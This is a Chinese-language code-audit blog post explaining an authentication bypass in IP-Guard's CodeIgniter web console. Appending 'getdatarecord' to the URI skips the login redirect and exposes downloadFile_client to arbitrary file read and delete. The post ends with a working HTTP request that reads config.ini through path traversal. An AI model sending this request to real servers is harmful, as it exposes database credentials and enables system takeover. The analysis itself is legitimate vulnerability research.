IP-Guard权限绕过浅析
比较适合新手学习的一个审计案例,代码简单无阅读障碍
权限绕过
IP-Guard采用CodeIgniter框架二次开发,从微步情报看作用仅是”可以绕过权限验证,调用后台接口进行任意文件读取、删除。攻击者可利用该漏洞读取数据库配置信息,进而接管数据库”
通常来说,CodeIgniter中的鉴权通常是在控制器中的构造函数中
因为代码不多,最后可以发现涉及文件读写的在mApplyList#downloadFile_client
再来看看构造函数
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596 |
public function __construct(){ parent::__construct(); $this->load->helper("applicationFunc"); $this->load->model("Application_model"); $this->load->helper("common"); $this->load->helper('url'); $this->load->library("session"); $language = $this->session->userdata('language'); switch ($language) { case "en-us":$this->lcid = 0x0409;break; case "zh-cn":$this->lcid = 0x0804;break; case "zh-tw":$this->lcid = 0x0404;break; default: $language = "zh-cn"; $this->lcid = 0x0409; } $this->language = $language; $this->logID = $this->session->userdata('LogID'); $this->SuName = $this->session->userdata('SuName'); $this->ManagerID = $this->session->userdata('ManagerID'); $this->pfunc = $this->session->userdata('apprfunc');// 获取保存的功能类型 if(empty($this->pfunc)) $this->pfunc = 'normal';//默认选中桌面申请管理 $this->viewtype = $this->session->userdata('viewtype'); if (empty($this->viewtype)) $this->viewtype = 'pending';//默认等待总览 $this->ufunc_rights = $this->session->userdata('funcrights'); $this->isApp = $this->session->userdata('isApp'); $this->config->set_item('language', $language); //$this->lang->load($language);//加载多语言数组 $this->lang->load($language, 'appr'); $this->lang->load("console", $language); $url = $_SERVER['REQUEST_URI']; $arrURL = parse_url($url); $func = substr(strrchr(rtrim($arrURL['path'], '/'), '/'), 1); $func = strtolower($func); if(!isset($this->logID) || empty($this->logID) || !isset($this->language) || empty($this->language) || !isset($this->SuName) || empty($this->SuName) ) { //判断有没有device_token 的session,有就是已登录的app在发起请求 $deviceToken = $this->session->userdata('device_token'); $appMode = $this->session->userdata("app_mode"); //对于旧版本的app,这两个值是空字符串,不执行更新token if(!isNull($deviceToken) && !isNull($appMode)){ $this->device_token = $deviceToken; $this->app_mode = $appMode; $langConfig = $this->lang->language; $update_res = rw_device_token(UPDATE_DEVICE_TOKEN, $appMode, $this->SuName, $deviceToken, $langConfig); } if($func != 'download') { if ($func == 'getdatarecord') { $this->errorresult(ErrorCode::OERR_NOT_LOGIN); return ; } redirect("appr/SignIn"); return ; } else { session_start(); $this->logID = $_SESSION['downloadLogID']; $this->language = $_SESSION['downloadLang']; $this->SuName = $_SESSION['downloadSuName']; $this->ManagerID = $_SESSION['downloadManagerID']; if(!isset($this->logID) || empty($this->logID) || !isset($this->language) || empty($this->language) || !isset($this->SuName) || empty($this->SuName) ) { redirect("appr/SignIn"); } } } else { $this->load->library('user_agent'); $this->isM = $this->agent->is_mobile(); if (!$this->isM) { redirect("appr/ApplyList"); } }} |
我们重点看这一段代码可以看到,如果$func == 'getdatarecord'
虽然设置了未登录的日志,但是在return之前并没有重定向到登录页,而这个func
则是由uri
最后一个路径决定,这里其实存在一个逻辑问题
因为我们知道php各类框架都是支持路径传入动态参数,这是主流PHP-MVC框架都支持的操作,因此访问http://ipg/appr/MApplyList/xxx/
与http://ipg/appr/MApplyList/xxx/getdatarecord
其实是等效的,都能走到对应的Controller以及Method,因而便能绕过对构造函数的验证
123456789101112131415161718192021222324252627282930313233343536373839404142434445 |
$url = $_SERVER['REQUEST_URI'];$arrURL = parse_url($url);$func = substr(strrchr(rtrim($arrURL['path'], '/'), '/'), 1);$func = strtolower($func);if(!isset($this->logID) || empty($this->logID) || !isset($this->language) || empty($this->language) || !isset($this->SuName) || empty($this->SuName) ){ $deviceToken = $this->session->userdata('device_token'); $appMode = $this->session->userdata("app_mode"); if(!isNull($deviceToken) && !isNull($appMode)){ $this->device_token = $deviceToken; $this->app_mode = $appMode; $langConfig = $this->lang->language; $update_res = rw_device_token(UPDATE_DEVICE_TOKEN, $appMode, $this->SuName, $deviceToken, $langConfig); } if($func != 'download') { if ($func == 'getdatarecord') { $this->errorresult(ErrorCode::OERR_NOT_LOGIN); return ; } redirect("appr/SignIn"); return ; } else { session_start(); $this->logID = $_SESSION['downloadLogID']; $this->language = $_SESSION['downloadLang']; $this->SuName = $_SESSION['downloadSuName']; $this->ManagerID = $_SESSION['downloadManagerID']; if(!isset($this->logID) || empty($this->logID) || !isset($this->language) || empty($this->language) || !isset($this->SuName) || empty($this->SuName) ) { redirect("appr/SignIn"); } }} |
任意文件操作
在mApplyList.php
中和文件下载涉及downloadFile
和downloadFile_client
,前者涉及到session操作且文件名无法控制,而在downloadFile_client
中,可以看到一切都很简单,自己看看代码即可
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337 |
function downloadFile_client(){ session_write_close(); $langConfig = $this->lang->language; $path = $this->input->post_get('path'); $fileName = $this->input->post_get('filename'); $action = $this->input->post_get('action'); $backparam = $this->input->post_get('backparam'); if ($action != "download") { $detail = $this->input->post_get('detail'); } $guidID = $this->input->post_get('reqID'); $type = $this->input->post_get('type'); $srcPath = $this->input->post_get('srcpath'); if(!isset($path) || $path == "" || !isset($fileName) || $fileName == "" || !isset($action) || $action == "") { $msg = $langConfig['details_fileNotExit']; $data['msg'] = $msg; $data['isM'] = $this->isM?'mobile':'pc'; $data['langConfig'] = $langConfig; $data['backParam'] = $backparam; $this->load->helper('url'); $this->load->view('appr/ErrorView2',$data); return; } $path = "tempFile/".$path; $file_dir = $path; $msg = ""; //取文件的名称以及类型 $fileBaseName = preg_replace('/^.+[\\\\\\/]/', '', $fileName); // 取文件类型 $path_parts = pathinfo($fileBaseName); if (!file_exists($file_dir)) { //检查文件是否存在 $msg = $langConfig['details_fileNotExit']; $data['langConfig'] = $langConfig; $data['msg'] = $msg; $data['isM'] = $this->isM?'mobile':'pc'; $data['backParam'] = $backparam; $this->load->helper('url'); $this->load->view('appr/ErrorView2',$data); return; } else if ($action == "download") { $fileBaseName = getFileBaseName($fileName); $fileBaseName = rawurldecode(rawurldecode($fileBaseName)); $nSize = filesize($file_dir); $fp = fopen($file_dir, "rb"); // 输入文件标签 Header('Cache-Control: must-revalidate,post-check=0,pre-check=0'); Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Content-Length: ".filesize($file_dir)); Header('Pragma: public'); $ua = $_SERVER["HTTP_USER_AGENT"]; if (preg_match("/MSIE/", $ua)) { header('Content-Disposition: attachment;filename="' . $fileBaseName . '"'); } elseif (preg_match("/Firefox/", $ua)) { header('Content-Disposition: attachment; filename*="utf8\'\'' . $fileBaseName . '"'); } elseif (preg_match("/Chrome/", $ua)) { header('Content-Disposition: attachment; filename=' . $fileBaseName); } else { header('Content-Disposition: attachment; filename="' . $fileBaseName . '"'); } ob_clean(); ob_end_clean(); set_time_limit(0); $buffer = 1024; while (!feof($fp)){ print fread($fp, $buffer); flush(); } fclose($fp); //chmod($file_dir,0777); //修改权限 //unlink($file_dir); exit; } else if($action == "review") { $b_error = FALSE; if(filesize($file_dir) <= 0) { chmod($file_dir,0777); //修改权限 unlink($file_dir); $msg = $langConfig['error_emptyFile']; $data['msg'] = $msg; $data['langConfig'] = $langConfig; $data['isM'] = $this->isM?'mobile':'pc'; $data['backParam'] = $backparam; $this->load->helper('url'); $this->load->view('appr/ErrorView2',$data); return; } // 获取水印 $cfgPath = FCPATH . "config.ini"; $this->load->model("Ini_model"); //加载调用接口的方法 $watermaskOpen = $this->Ini_model->get_ini_string('watermaskcfg','open','',$cfgPath); if($watermaskOpen == '1'){ $content = $this->Ini_model->get_ini_string('watermaskcfg','content','',$cfgPath); $cType = mb_detect_encoding($content , array('UTF-8','GBK','LATIN1','BIG5')) ; if( $cType !== 'UTF-8'){ $content = mb_convert_encoding($content ,'utf-8' , $cType); } if($content === ''){ $content = $_SERVER['REMOTE_ADDR']." ".$this->session->userdata('SuName')." ".date("Y-m-d H:i:s"); }else{ $content = str_replace("[ip]"," ".$_SERVER['REMOTE_ADDR']." ",$content); $content = str_replace("[user]"," ".$this->session->userdata('SuName')." ",$content); $content = str_replace("[time]"," ".date("Y-m-d H:i:s")." ",$content); $content= str_replace(array('\r\n','\r','\n'),PHP_EOL,$content); // 得到的是单引号字符串,需处理换行符号 } $fontsize = $this->Ini_model->get_ini_string('watermaskcfg','fontsize','',$cfgPath); $alpha = $this->Ini_model->get_ini_string('watermaskcfg','alpha','',$cfgPath); if($alpha){ $alpha = min($alpha, 100); $alpha = max($alpha, 0); }else{ $alpha = 70; } $config = array( "text" => $content, "type" => 0, "fontsize" => $fontsize ? $fontsize.'px' : "16px", "alpha" => 1 - $alpha / 100 ); $data['script'] = $this->getscript(json_encode($config)); } //取文件的名称以及类型 $fileBaseName = preg_replace('/^.+[\\\\\\/]/', '', $file_dir); // 取文件类 $path_parts = pathinfo($fileBaseName); $fileBaseType = isset($path_parts["extension"]) ? $path_parts["extension"] : ''; $fileBaseType = strtolower($fileBaseType); $isTxt = FALSE; if($fileBaseType == 'txt' || $fileBaseType == 'csv') { $isTxt = TRUE; $result = $this->decryptFile(dirname(BASEPATH)."/".$file_dir, $backparam); if(!$result) { return; } $handle = fopen($file_dir, "r"); $newFilename = $this->logID . microtime(true) . ".txt"; $newSavepath = "tempFile/".$newFilename; $newHandle = fopen($newSavepath,"w+",TRUE); $content = ''; // ob_clean(); // ini_set('memory_limit',-1); // set_time_limit(0); $buffer = 1024 * 48; // $size = filesize($file_dir); $code = FALSE; $left = ''; while (!feof($handle)){ $content = $left.fread($handle, $buffer); if ($code != 'UTF-16LE') { //IPG-17136 web审批-预览带中文内容的txt文档乱码 $code = get_string_code($content);//$code = mb_detect_encoding($content, "ASCII,GB2312,GBK,BIG-5,UTF-8,UTF-16LE"); if (strlen($code) === 0) $code = "UTF-16LE"; } if ($code != 'UTF-16LE' && !feof($handle)) { $idx = strrpos($content, "\n"); if ($idx === FALSE) $idx = strrpos($content, ' '); if ($idx === FALSE) { $left = ''; } else { $idx += 1; $left = substr($content, $idx); $content = substr($content, 0, $idx); } } $t = mb_convert_encoding($content, "UTF-8", $code); fwrite($newHandle,$t); unset($t); // flush(); } fclose($handle); fclose($newHandle); chmod($file_dir,0777); //修改权限 unlink($file_dir); // $filename = $newFilename; $file_dir = $newSavepath; $data['langConfig'] = $langConfig; $data['backParam'] = $backparam; $data['url'] = base_url($file_dir); $data['app'] = $this->isApp; $this->load->view('appr/reviewtxt2', $data); //IPG-16347 web控制台,桌面申请审批,限制文件类型,web控制台预览后,控制台仍显示为未预览 //解密申请 if($this->pfunc == 'encrypt'){ $this->setFileReadStatus($detail, $srcPath, $type, $guidID); } //桌面申请 else if($this->pfunc == 'normal'){ $this->nf_setFileReadStatus($srcPath, $guidID); } return; } require_once(dirname(BASEPATH)."/static/appr/lib/flexpaper/php/tool_transform.php"); $image = FALSE; $html = FALSE; $dest_file = dirname(BASEPATH)."/".$file_dir; $doc_type = null; $html_path = ""; //当使用模式5预览的时候,应该要有值 $ext = pathinfo($dest_file)['extension']; $ext = strtolower($ext); if ($ext != "pdf") { if (!$isTxt) { $result = $this->decryptFile(dirname(BASEPATH)."/".$file_dir, $backparam); if (!$result) { return; } } if ($ext == "html" || $ext == "htm") { $html = TRUE; } else if (!@getimagesize($dest_file)) { $dest_file = dirname(BASEPATH)."/".$file_dir.".pdf"; // $transResult = trans_office2pdf(dirname(BASEPATH)."/".$file_dir, $dest_file); //返回值修改为数组 $transResult = trans_office2pdf_2(dirname(BASEPATH)."/".$file_dir, $dest_file); $dest_file = $transResult['dest_file']; $doc_type = $transResult['doc_type']; $html_path = $transResult['html_path']; if ($transResult['info'] == '') { //没有执行成功,多数为没有启动openoffice chmod($file_dir, 0777); //修改权限 unlink($file_dir); $msg = $langConfig['error_reviewFile']; $data['msg'] = $msg; $data['langConfig'] = $langConfig; $data['isM'] = $this->isM ? 'mobile' : 'pc'; $data['backParam'] = $backparam; $this->load->helper('url'); $this->load->view('appr/ErrorView2', $data); return; } } else { $image = TRUE; } } if (!$image && !$html) { $result = $this->decryptFile($dest_file, $backparam); if (!$result) { return; } $page = getTotalPages($dest_file); $this->load->helper('url'); $data['langConfig'] = $langConfig; $data['pdf_file'] = pathinfo($dest_file)['basename']; $data['page_num'] = $page; $data['backParam'] = $backparam; $data['app'] = $this->isApp; $data['html_file'] = $html_path; //C:Program Files (x86)/TEC/WebServer/www/ipg/tempFile/030BF...924.1872/review.html $data['doc_type'] = $doc_type; $this->load->view('appr/review2', $data); } else { $data['langConfig'] = $langConfig; $data['url'] = "tempFile/".pathinfo($dest_file)['basename']; $data['backParam'] = $backparam; $data['app'] = $this->isApp; if ($image) { $this->load->view('appr/reviewpic2', $data); } else { $this->load->view('appr/reviewhtml2', $data); } } } //IPG-16347 web控制台,桌面申请审批,限制文件类型,web控制台预览后,控制台仍显示为未预览 //解密申请 if($this->pfunc == 'encrypt'){ $this->setFileReadStatus($detail, $srcPath, $type, $guidID); } //桌面申请 else if($this->pfunc == 'normal'){ $this->nf_setFileReadStatus($srcPath, $guidID); }} |
因此最终构造如下,即可实现对任意文件的读取,另外删除文件类似不再继续赘述,这个漏洞本身也并不难没有啥高含金量
12345678910 |
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord Host:Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-Length: 0Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36path=..%2Fconfig.ini&filename=y4test&action=download |
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论